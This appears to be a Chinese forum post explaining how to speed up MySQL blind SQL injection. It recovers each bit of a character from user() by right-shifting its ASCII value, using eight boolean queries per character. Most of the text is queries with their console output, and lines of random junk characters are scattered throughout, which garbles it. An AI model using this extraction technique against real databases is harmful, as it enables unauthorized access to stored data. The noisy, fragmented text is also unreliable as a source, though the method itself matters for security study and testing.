关于通过对8bit的ascii做右位移提高mysql盲注效率

admin

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
/ D8 Z) ?1 z, x( _" f

  _2 {5 |3 J# t" P
# }+ [7 V# B  p; }; p下面将以查询mysql数据库当中user()的第一位为例:
0 o- X+ {1 V/ {( @- o" P, Z
$ ?% w( [2 b, T$ _* `5 {% O' ^# U

ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
) Z  O/ i9 W6 k3 m, l4 [- v  q

3 F$ L2 ~3 L3 Q3 e/ M
首先执行如下sql语句:
* u0 \# E  |. @8 a  K' G% f
3 e- y8 t5 t" z$ \! k. ]; I* w9 p

: i7 Y% m4 M$ t( pmysql> select (ascii((substr(user(),1,1))) >> 7)=0;
% N0 E+ e5 w" _5 Q/ n" c

1 y7 {5 ^# f# e& B( \
我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
6 q, x) ]& U' q1 p

7 F6 f( n  G3 U7 T# M5 x
& d+ F* K0 P: B. D; J! E& S第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
: p! E( Y; H+ @5 H' k5 `! p
3 G# S, \6 U# g) [( Z3 l
$ c/ ^1 x' w% n; S- }: c- X
如果运算结果为1,说明第一位为0,不为1

& E% L+ F' {7 s& r8 Y  L  a/ x' O
1 K1 X4 M* k+ h/ Y2 g+ d: a4 @+ S2 F
+————————————–+

| (ascii((substr(user(),1,1))) >> 7)=0 |
1 q4 ]3 _$ h) T. c5 q0 e  P
! u7 I8 T. F  f- n3 _1 K+————————————–+
0 ]- \9 y! ^# p9 f# c: P* K
. |5 N( h# j$ W) D| 1 |
# U+ K; ^% P7 F  E. v/ i, r
+————————————–+

+ F2 L2 t* d5 K% j+ x$ [% q1 row in set (0.00 sec)
1 w% X* i; t; X$ W; P1 y) O
这样我们就确定这个8bit的ascii的第一位为0
- d  ?; L0 T7 Y+ n  ~, q


; ]4 \; X9 E0 |& O第二次我们来做6次右偏移来确定前两位
  k" J1 H6 L- R* s' m- R

( Y& ~0 |8 z5 S. Y& ~, {+ I
  ~& N7 ~4 ?+ ~  h3 L6 P前两位可能是01或00,即依然可以与0做比较,

mysql> select (ascii((substr(user(),1,1))) >> 6)=0;
3 d3 o% ]9 g3 e
+————————————–+
$ c9 G- o$ a' ]
| (ascii((substr(user(),1,1))) >> 6)=0 |
4 t, P+ ?" W3 }; `2 {1 Q9 G& W! \
0 g; B+ _3 b6 p- r+ J' A+————————————–+
% D. b  @0 G7 f# u
| 0 |

+————————————–+

4 [+ ^7 T3 w5 d2 w1 row in set (0.00 sec)
+ a  b: I" l: e& E& w, h1 O

( {; R0 e0 w. Z3 j  Y5 J, W+ S
8 Q, z# o9 T( v0 F6 Z结果为0,即第二位为1

; l* e7 u& e6 v6 o) x
" g0 K! r- v  |" z6 b
1 `2 K0 o) B; D/ h2 R% m2 j开始猜测前三位为010或011


# Q2 i& W) Q7 q3 s2 w8 R2 b% D/ K
  X& h- w1 s: |6 p4 M% ]让我们看看010和011的ascii码是多少
8 n* S8 T4 i2 |) ?8 j  K) s
0 K  g7 @+ v- i/ H' {4 w
5 u7 ]7 z1 J6 e0 Y$ _! F
& N. h: i, H/ _. U, K/ K! @, w分别查询select b’011′ select b’010′

) `; T! D; i5 Q; F) z4 M7 j

! f/ e2 b4 W6 a( b/ G. J& y. P5 ~获得结果 010 = 2 011 = 3


! a" P# \6 O/ ]. B  S
执行如下sql:

5 u0 D; z7 y1 v0 q! n% s1 ?
" t4 u: d2 ]1 T0 i/ f# R
& ^( J7 `* y# M7 ?3 e- u$ xmysql> select (ascii((substr(user(),1,1))) >> 5)=2;

  e$ ]0 G$ P( {1 \# ~1 Z+————————————–+
& I8 R& P& j. {8 r7 {
, f& o* P+ }1 Q- ]| (ascii((substr(user(),1,1))) >> 5)=2 |

+————————————–+
; X% k6 q: n& s8 B" f. }6 Q
$ b0 z- _- u* f1 J% A/ j| 0 |
; M: |; q2 i5 D# l0 L5 P" H
+————————————–+
/ V# L; }7 a+ B$ N& S$ t1 I
& p5 ]4 a/ O5 \# @: {即前三位不为010,而是011

& L4 U1 a" `, @3 z6 v$ z5 b" J

9 O6 R, c$ `- z) B% G" R  g直到获得最后一位



最终结果为:01110010
" A6 H4 X  N0 ^! o9 O" F3 R
8 G/ v. m4 D( {/ w( l
4 j4 Q0 d3 r/ z% s
转换一下:
0 a! t% x4 {2 v& D) i/ Y8 h( ?9 V
8 Z7 A& Y4 ^7 ^7 t: d: X( @
, w% C6 I. r1 X" Y4 l9 c; A
select b’01110010′
  i4 x8 H( R# K" }) R


查询结果
. E5 T0 k9 J, y& ~* Z
9 B; E* }- g$ N( v2 o
! V/ ?/ L( J9 i2 P
, X. m! U: Y6 s( d6 t+————-+
# ]+ v2 e# r8 ^- V" ?& k
& Z/ j% D  o# ?0 l, g| b’01110010′ |
8 [0 L3 W) r1 }: N3 G7 m5 d; v0 b
2 U8 v" r  Q: _/ [$ \/ ~+————-+
! ?+ o7 G7 z% N
7 y: E2 h. c3 b0 C3 i| r |

+————-+

; S. Q1 e  e9 I3 g1 row in set (0.00 sec)



这样我们就获得了user()的第一位.其它位依此类推
( c. e( _' X/ d* u& G